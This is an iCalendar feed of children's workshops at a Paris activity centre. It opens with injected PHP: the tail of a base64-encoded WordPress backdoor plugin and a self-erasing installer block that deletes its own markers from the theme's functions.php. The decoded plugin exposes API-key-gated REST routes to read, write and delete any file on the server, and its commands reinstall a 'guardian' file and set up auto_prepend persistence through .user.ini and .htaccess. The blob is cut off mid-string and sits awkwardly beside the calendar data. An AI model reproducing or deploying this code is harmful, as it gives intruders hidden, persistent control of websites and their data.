bGJhY2snID0+IFskdGhpcywgJ3Jlc3RfZmlsZXMnXSwNCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiBbJHRoaXMsICd2ZXJpZnlfYXBpX2tleSddLA0KICAgICAgICBdKTsNCiAgICAgICAgDQogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3Rla25vY29yZS92MScsICcvZXhlY3V0ZScsIFsNCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsDQogICAgICAgICAgICAnY2FsbGJhY2snID0+IFskdGhpcywgJ3Jlc3RfZXhlY3V0ZSddLA0KICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+IFskdGhpcywgJ3ZlcmlmeV9hcGlfa2V5J10sDQogICAgICAgIF0pOw0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gdmVyaWZ5X2FwaV9rZXkoJHJlcXVlc3QpIHsNCiAgICAgICAgJGtleSA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCdYLUFQSS1LZXknKSA/PyAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdhcGlfa2V5Jyk7DQogICAgICAgIHJldHVybiAhZW1wdHkoJHRoaXMtPmFwaV9rZXkpICYmICRrZXkgPT09ICR0aGlzLT5hcGlfa2V5Ow0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdF9zdGF0dXMoKSB7DQogICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShbDQogICAgICAgICAgICAnc3RhdHVzJyA9PiAnb25saW5lJywNCiAgICAgICAgICAgICdjb25uZWN0ZWQnID0+IHRydWUsDQogICAgICAgICAgICAnd3BfdmVyc2lvbicgPT4gZ2V0X2Jsb2dpbmZvKCd2ZXJzaW9uJyksDQogICAgICAgICAgICAncGhwX3ZlcnNpb24nID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICAgJ3NpdGVfbmFtZScgPT4gZ2V0X2Jsb2dpbmZvKCduYW1lJyksDQogICAgICAgICAgICAnc2l0ZV91cmwnID0+IGhvbWVfdXJsKCksDQogICAgICAgICAgICAncGx1Z2luX3ZlcnNpb24nID0+ICcyLjAuMCcsDQogICAgICAgICAgICAnZ3VhcmRpYW5faW5zdGFsbGVkJyA9PiBmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3Rla25vY29yZS1ndWFyZGlhbi5waHAnKSwNCiAgICAgICAgICAgICd0aW1lc3RhbXAnID0+IGN1cnJlbnRfdGltZSgnbXlzcWwnKSwNCiAgICAgICAgXSk7DQogICAgfQ0KICAgIA0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0X2ZpbGVzKCRyZXF1ZXN0KSB7DQogICAgICAgICRtZXRob2QgPSAkcmVxdWVzdC0+Z2V0X21ldGhvZCgpOw0KICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3BhdGgnKSA/PyAnJzsNCiAgICAgICAgJHJvb3QgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdyb290JykgPz8gJ3dwJzsgLy8gd3AsIGRvY3Jvb3QsIHZleWEgYWJzb2x1dGUNCiAgICAgICAgDQogICAgICAgIC8vIFJvb3Qgc2XDp2ltaQ0KICAgICAgICBzd2l0Y2ggKCRyb290KSB7DQogICAgICAgICAgICBjYXNlICdkb2Nyb290JzoNCiAgICAgICAgICAgICAgICAvLyBEb2N1bWVudCByb290IChwdWJsaWNfaHRtbCBzZXZpeWVzaSkNCiAgICAgICAgICAgICAgICAkYmFzZSA9IHJ0cmltKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICcvJyk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdhYnNvbHV0ZSc6DQogICAgICAgICAgICAgICAgLy8gU3VudWN1IHJvb3QgLSBkaWtrYXRsaSBrdWxsYW4hDQogICAgICAgICAgICAgICAgJGJhc2UgPSAnJzsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ3dwJzoNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgLy8gV29yZFByZXNzIHJvb3QgKHZhcnNhecSxbGFuKQ0KICAgICAgICAgICAgICAgICRiYXNlID0gcnRyaW0oQUJTUEFUSCwgJy8nKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gUGF0aCdpIHRlbWl6bGUgdmUgYmlybGXFn3Rpcg0KICAgICAgICAkcGF0aCA9ICcvJyAuIGx0cmltKCRwYXRoLCAnLycpOw0KICAgICAgICAkZnVsbCA9ICRiYXNlIC4gJHBhdGg7DQogICAgICAgIA0KICAgICAgICAvLyByZWFscGF0aCBpbGUgZ2Vyw6dlayB5b2x1IGFsIChzeW1saW5rIHZzLiDDp8O2eikNCiAgICAgICAgJHJlc29sdmVkID0gcmVhbHBhdGgoJGZ1bGwpOw0KICAgICAgICBpZiAoJHJlc29sdmVkKSB7DQogICAgICAgICAgICAkZnVsbCA9ICRyZXNvbHZlZDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gVGVobGlrZWxpIGRvc3lhbGFyxLEgc2lsbWV5aSBlbmdlbGxlDQogICAgICAgICRwcm90ZWN0ZWRfZmlsZXMgPSBbJ3dwLWNvbmZpZy5waHAnXTsNCiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZ1bGwpOw0KICAgICAgICBpZiAoJG1ldGhvZCA9PT0gJ0RFTEVURScgJiYgaW5fYXJyYXkoJGZpbGVuYW1lLCAkcHJvdGVjdGVkX2ZpbGVzKSkgew0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigncHJvdGVjdGVkJywgJ0J1IGRvc3lhIGtvcnVtYWzEsWTEsXInLCBbJ3N0YXR1cycgPT4gNDAzXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkbWV0aG9kID09PSAnR0VUJykgew0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICAkZmlsZXMgPSBbXTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoIChzY2FuZGlyKCRmdWxsKSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGYgPT09ICcuJyB8fCAkZiA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICRmcCA9ICRmdWxsIC4gJy8nIC4gJGY7DQogICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRmLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3R5cGUnID0+IGlzX2RpcigkZnApID8gJ2RpcmVjdG9yeScgOiAnZmlsZScsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gaXNfZmlsZSgkZnApID8gZmlsZXNpemUoJGZwKSA6IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+IGZpbGVtdGltZSgkZnApLA0KICAgICAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydmaWxlcycgPT4gJGZpbGVzXSk7DQogICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydjb250ZW50JyA9PiBmaWxlX2dldF9jb250ZW50cygkZnVsbCksICdwYXRoJyA9PiAkcGF0aF0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcignbm90X2ZvdW5kJywgJ05vdCBmb3VuZCcsIFsnc3RhdHVzJyA9PiA0MDRdKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaWYgKCRtZXRob2QgPT09ICdQT1NUJykgew0KICAgICAgICAgICAgJGNvbnRlbnQgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb250ZW50JykgPz8gJyc7DQogICAgICAgICAgICAkZGlyID0gZGlybmFtZSgkZnVsbCk7DQogICAgICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgd3BfbWtkaXJfcCgkZGlyKTsNCiAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZnVsbCwgJGNvbnRlbnQpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShbJ3N1Y2Nlc3MnID0+IHRydWVdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfRXJyb3IoJ3dyaXRlX2ZhaWxlZCcsICdGYWlsZWQnLCBbJ3N0YXR1cycgPT4gNTAwXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkbWV0aG9kID09PSAnREVMRVRFJykgew0KICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGZ1bGwpICYmIHVubGluaygkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydzdWNjZXNzJyA9PiB0cnVlXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gbmV3IFdQX0Vycm9yKCdkZWxldGVfZmFpbGVkJywgJ0ZhaWxlZCcsIFsnc3RhdHVzJyA9PiA1MDBdKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcignaW52YWxpZCcsICdJbnZhbGlkIG1ldGhvZCcsIFsnc3RhdHVzJyA9PiA0MDVdKTsNCiAgICB9DQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIHJlc3RfZXhlY3V0ZSgkcmVxdWVzdCkgew0KICAgICAgICAkY21kID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnY29tbWFuZCcpID8/ICcnOw0KICAgICAgICANCiAgICAgICAgJGNtZHMgPSBbDQogICAgICAgICAgICAnY2xlYXJfY2FjaGUnID0+IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NhY2hlX2ZsdXNoJykpIHdwX2NhY2hlX2ZsdXNoKCk7DQogICAgICAgICAgICAgICAgZGVsZXRlX3RyYW5zaWVudCgndGVrbm9jb3JlX2xpbmtzX2NhY2hlJyk7DQogICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdDYWNoZSBjbGVhcmVkJ107DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgJ2dldF9pbmZvJyA9PiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gWw0KICAgICAgICAgICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICd3cF92ZXJzaW9uJyA9PiBnZXRfYmxvZ2luZm8oJ3ZlcnNpb24nKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdwaHBfdmVyc2lvbicgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgICAgICAgICAndGhlbWUnID0+IGdldF90ZW1wbGF0ZSgpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3BsdWdpbnMnID0+IGFycmF5X2tleXMoZ2V0X3BsdWdpbnMoKSksDQogICAgICAgICAgICAgICAgICAgICAgICAnZ3VhcmRpYW4nID0+IGZpbGVfZXhpc3RzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvdGVrbm9jb3JlLWd1YXJkaWFuLnBocCcpLA0KICAgICAgICAgICAgICAgICAgICBdDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICAncmVpbnN0YWxsX2d1YXJkaWFuJyA9PiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAvLyDDlm5jZSBlc2tpIGd1YXJkaWFuIGNoZWNrJ2kgc8SxZsSxcmxhDQogICAgICAgICAgICAgICAgZGVsZXRlX29wdGlvbigndGVrbm9jb3JlX2d1YXJkaWFuX2NoZWNrJyk7DQogICAgICAgICAgICAgICAgVGVrbm9Db3JlX0ludGVncmF0aW9uOjppbnN0YW5jZSgpLT5jcmVhdGVfZ3VhcmRpYW5fZmlsZSgpOw0KICAgICAgICAgICAgICAgIFRla25vQ29yZV9JbnRlZ3JhdGlvbjo6aW5zdGFuY2UoKS0+c2V0dXBfYXV0b19wcmVwZW5kKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdHdWFyZGlhbiByZWluc3RhbGxlZCddOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICdmb3JjZV9zZXR1cCcgPT4gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgLy8gWm9ybGEga3VydWx1bSAtIHTDvG0gY2FjaGUnbGVyaSBzxLFmxLFybGENCiAgICAgICAgICAgICAgICBkZWxldGVfb3B0aW9uKCd0ZWtub2NvcmVfZ3VhcmRpYW5fY2hlY2snKTsNCiAgICAgICAgICAgICAgICAkZ3VhcmRpYW4gPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7DQogICAgICAgICAgICAgICAgJHByZXBlbmQgPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPnNldHVwX2F1dG9fcHJlcGVuZCgpOw0KICAgICAgICAgICAgICAgIHJldHVybiBbDQogICAgICAgICAgICAgICAgICAgICdzdWNjZXNzJyA9PiB0cnVlLCANCiAgICAgICAgICAgICAgICAgICAgJ2d1YXJkaWFuX2NyZWF0ZWQnID0+ICRndWFyZGlhbiwNCiAgICAgICAgICAgICAgICAgICAgJ3ByZXBlbmRfc2V0dXAnID0+ICRwcmVwZW5kLA0KICAgICAgICAgICAgICAgICAgICAnZ3VhcmRpYW5fcGF0aCcgPT4gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy90ZWtub2NvcmUtZ3VhcmRpYW4ucGhwJywNCiAgICAgICAgICAgICAgICAgICAgJ3VzZXJfaW5pX3BhdGgnID0+IEFCU1BBVEggLiAnLnVzZXIuaW5pJywNCiAgICAgICAgICAgICAgICAgICAgJ2h0YWNjZXNzX3BhdGgnID0+IEFCU1BBVEggLiAnLmh0YWNjZXNzJywNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgXTsNCiAgICAgICAgDQogICAgICAgIGlmIChpc3NldCgkY21kc1skY21kXSkpIHsNCiAgICAgICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZSgkY21kc1skY21kXSgpKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigndW5rbm93bicsICdVbmtub3duIGNvbW1hbmQnLCBbJ3N0YXR1cycgPT4gNDAwXSk7DQogICAgfQ0KfQ0KDQovLyBJbml0aWFsaXplDQpUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7DQo=")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === BEGIN:VCALENDAR VERSION:2.0 PRODID:-//Apprends et Rêve - ECPv6.15.11//NONSGML v1.0//EN CALSCALE:GREGORIAN METHOD:PUBLISH X-WR-CALNAME:Apprends et Rêve X-ORIGINAL-URL:https://apprends-et-reve.fr X-WR-CALDESC:Évènements pour Apprends et Rêve REFRESH-INTERVAL;VALUE=DURATION:PT1H X-Robots-Tag:noindex X-PUBLISHED-TTL:PT1H BEGIN:VTIMEZONE TZID:Europe/Paris BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20250330T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20251026T010000 END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20260329T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20261025T010000 END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20270328T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20271031T010000 END:STANDARD END:VTIMEZONE BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T140000 DTEND;TZID=Europe/Paris:20260211T153000 DTSTAMP:20260121T154104 CREATED:20250505T143420Z LAST-MODIFIED:20250526T103847Z UID:10016031-1770818400-1770823800@apprends-et-reve.fr SUMMARY:À l’écoute de la nature en jardinant et en expérimentant DESCRIPTION:Plus que du jardinage\, cet atelier permettra aux enfants de se mettre à l’écoute de la nature. Il faudra commencer par réveiller le petit jardin du 69 rue de l’Assomption. Ou comment comprendre le rythme de la nature\, et ses besoins. \nTout en binant et grattant\, les enfants découvriront comment poussent les fleurs\, fruits et légumes. Pourquoi certaines variétés préfèrent-elles l’ombre au soleil éclatant ? Pourquoi d’autres réclament un terreau spécifique ? Pourquoi certaines ne peuvent absolument pas cohabiter ? Les enfants verront aussi que certains légumes ou fruits poussent directement à ras de terre tandis que les autres doivent être surélevés. Certains réclament beaucoup d’eau. D’autres\, très peu. \nPuis\, les enfants apprendront à regarder la nature qui les entoure\, les oiseaux\, les insectes\, les petits animaux… Les changements de saison leur permettront de poser et répondre à un certain nombre de questions. Pourquoi cela arrive t’il ? Et comment ça «fonctionne» ? \nIls utiliseront tout ce que le petit jardin leur offre pour comprendre le recyclage et l’écologie. \nMais ils pourront aussi étudier la nature de plus près grâce à des microscopes et se faire biologistes. Ils en profiteront pour expérimenter et tenter quelques expériences. Surtout quand il fait trop froid pour passer toute la séance dans le petit jardin… URL:https://apprends-et-reve.fr/activite/a-lecoute-de-la-nature-en-jardinant-et-en-experimentant-2/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Nature et environnement,Sciences et jardinage ATTACH;FMTTYPE=image/png:https://apprends-et-reve.fr/wp-content/uploads/2021/03/jardinage-bis-e1615909007918.png GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T140000 DTEND;TZID=Europe/Paris:20260211T153000 DTSTAMP:20260121T154104 CREATED:20250505T150026Z LAST-MODIFIED:20250505T150026Z UID:10016111-1770818400-1770823800@apprends-et-reve.fr SUMMARY:Cuisine: de délicieuses découvertes DESCRIPTION:En compagnie de Stéphanie\, qui en plus de transmettre sa passion pour la cuisine\, aime faire découvrir aux enfants de nouvelles saveurs\, les faire voyager par le goût\, leur apprendre à associer les ingrédients\, éduquer leur goût. \nAvec elle\, non seulement les enfants deviennent de véritables Chefs\, prêts à vous préparer de bons petits plats\, mais ils vont connaître d’où viennent fruits et légumes\, comment on les cultive et avoir le plaisir de non seulement les cuisiner\, mais aussi les manger ! Désormais\, ils réclameront des épinards pour dîner ! URL:https://apprends-et-reve.fr/activite/cuisine-de-delicieuses-decouvertes/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Cuisine ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/01/fille-cuisine-Depositphotos_182948794_s-2019.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T140000 DTEND;TZID=Europe/Paris:20260211T153000 DTSTAMP:20260121T154104 CREATED:20250506T113115Z LAST-MODIFIED:20250521T135904Z UID:10016631-1770818400-1770823800@apprends-et-reve.fr SUMMARY:Être à l’écoute de la nature en jardinant et en expérimentant DESCRIPTION:Plus que du jardinage\, cet atelier permettra aux enfants de se mettre à l’écoute de la nature. Il faudra commencer par réveiller le petit jardin du 69 rue de l’Assomption. Ou comment comprendre le rythme de la nature\, et ses besoins. \nTout en binant et grattant\, les enfants découvriront comment poussent les fleurs\, fruits et légumes. Pourquoi certaines variétés préfèrent-elles l’ombre au soleil éclatant ? Pourquoi d’autres réclament un terreau spécifique ? Pourquoi certaines ne peuvent absolument pas cohabiter ? Les enfants verront aussi que certains légumes ou fruits poussent directement à ras de terre tandis que les autres doivent être surélevés. Certains réclament beaucoup d’eau. D’autres\, très peu. \nPuis\, les enfants apprendront à regarder la nature qui les entoure\, les oiseaux\, les insectes\, les petits animaux… Les changements de saison leur permettront de poser et répondre à un certain nombre de questions. Pourquoi cela arrive t’il ? Et comment ça «fonctionne» ? \nIls utiliseront tout ce que le petit jardin leur offre pour comprendre le recyclage et l’écologie. \nMais ils pourront aussi étudier la nature de plus près grâce à des microscopes et se faire biologistes. Ils en profiteront pour expérimenter et tenter quelques expériences. Surtout quand il fait trop froid pour passer toute la séance dans le petit jardin… URL:https://apprends-et-reve.fr/activite/etre-a-lecoute-de-la-nature-en-jardinant-et-en-experimentant-2/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Nature et environnement,Sciences et jardinage ATTACH;FMTTYPE=image/png:https://apprends-et-reve.fr/wp-content/uploads/2021/03/jardinage.png GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T140000 DTEND;TZID=Europe/Paris:20260211T153000 DTSTAMP:20260121T154104 CREATED:20250515T224807Z LAST-MODIFIED:20250523T122903Z UID:10020863-1770818400-1770823800@apprends-et-reve.fr SUMMARY:Fais ton cinéma! DESCRIPTION:Notre atelier propose aux enfants de découvrir toutes les facettes de la conception d’un film en réalisant eux-mêmes un long/court métrage grâce à l’aide d’un réalisateur de métier qui leur apportera les meilleurs éclairages pour leur réalisation. \nRéaliser un court-métrage ou un film\, c’est imaginer un synopsis\, faire des repérages\, dessiner un storyboard\, écrire des dialogues\, faire répéter les acteurs\, trouver les bons cadrages\, tourner puis monter les rushs. Sans oublier la possibilité d’importer des images pour les insérer ou encore apprendre à faire des retouches. De quoi avoir une vision globale du « making of » et d’acquérir un savoir qui leur servira toujours. URL:https://apprends-et-reve.fr/activite/fais-ton-cinema/2026-02-11/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Arts visuels,Cinéma / vidéo ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Cinema-7-11-ans.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T140000 DTEND;TZID=Europe/Paris:20260211T160000 DTSTAMP:20260121T154104 CREATED:20250507T122131Z LAST-MODIFIED:20250507T122131Z UID:10016911-1770818400-1770825600@apprends-et-reve.fr SUMMARY:Apprendre à coder et créer son propre jeu vidéo DESCRIPTION:Grâce à cet atelier\, les enfants apprennent à coder? Ils s’initient à la programmation sur Scratch\, un langage développé par le MIT à Boston\, et permettant un apprentissage ludique et intuitif du codage. \nCette activité permet aux enfants d’apprendre à structurer leur esprit et acquérir de nombreuses compétences digitales. Les bénéfices : anticipation\, résolutions de formules mathématiques\, approfondissement de programmation\, conscience esthétique\, conception artistique\, création numérique. \nVoici quelques exemples de réalisation. \nUne fois leur premier jeu vidéo réalisé\, les enfants mettront en pratique leur apprentissage pour créer et programmer des intelligences artificielles (robot) en mettant en place un « pool d’ingénieurs »\, comme au MIT. URL:https://apprends-et-reve.fr/activite/apprendre-a-coder-et-creer-son-propre-jeu-video-2/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Codage,Informatique et numérique ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/07/img_ex_slider_3.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T140000 DTEND;TZID=Europe/Paris:20260211T171500 DTSTAMP:20260121T154105 CREATED:20250516T000230Z LAST-MODIFIED:20250523T125958Z UID:10020980-1770818400-1770830100@apprends-et-reve.fr SUMMARY:Mercredi multi activités: des sciences et jardinage à créativité en passant par le hip hop et la musique DESCRIPTION:Avec cette formule\, nous proposons à vos enfants de participer à plusieurs activités consécutives et une prise en charge de 14h00 à 17h15\, tout en bénéficiant d’un tarif très avantageux. \nVotre enfant choisira entre deux et trois activités parmi les quatre activités suivantes: Sciences et jardinage\, initiation au Hip Hop\, musique et/ou créativité. \nChacune de ces activités est dirigée par un professeur diplômé. \nChaque mercredi\, votre enfant aura la chance de participer à plusieurs activités totalement différentes mais complémentaires qui lui permettront de s’épanouir pleinement et révéler tous ses talents. URL:https://apprends-et-reve.fr/activite/mercredi-multi-activites-des-sciences-et-jardinage-a-creativite-en-passant-par-le-hip-hop-et-la-musique/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/04/Enfants-nature-Depositphotos_294841624_s-2019.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T140000 DTEND;TZID=Europe/Paris:20260211T180000 DTSTAMP:20260121T154105 CREATED:20250516T001212Z LAST-MODIFIED:20250521T125632Z UID:10018992-1770818400-1770832800@apprends-et-reve.fr SUMMARY:Mercredi multi activités: dessin académique + hip hop + couture DESCRIPTION:Avec cette formule\, nous proposons à vos enfants de participer à trois activités consécutives et une prise en charge entre 14h00 et 18h00\, tout en bénéficiant d’un tarif très avantageux. \nVotre enfant fera les trois activités suivantes: Dessin académique\, hip hop et couture. \nChacune de ces activités est dirigée par un professeur diplômé. \nChaque mercredi\, votre enfant aura la chance de participer à 3 activités totalement différentes mais complémentaires qui lui permettront de s’épanouir pleinement et révéler tous ses talents. URL:https://apprends-et-reve.fr/activite/mercredi-multi-activites-dessin-academique-hip-hop-couture/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/05/Danse-enfant-2.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T141500 DTEND;TZID=Europe/Paris:20260211T153000 DTSTAMP:20260121T154105 CREATED:20250505T151035Z LAST-MODIFIED:20250505T152134Z UID:10016151-1770819300-1770823800@apprends-et-reve.fr SUMMARY:Gymnastique rythmique\, harmonie\, agilité\, dextérité DESCRIPTION:Corde\, ruban\, massue\, cerceau\, massue\, autant d’instruments pour pratiquer la gymnastique rythmique et qui font rêver plus d’une petite fille ! \nCes cinq engins doivent continuellement être utilisés par la gymnaste lors des enchainements et chorégraphie. Sauter\, pivoter\, rouler ou rester en équilibre\, tout en manipulant ces objets n’est pas tâche facile. Mais c’est un challenge à la portée de nos sportives si elles osent l’aventure ! 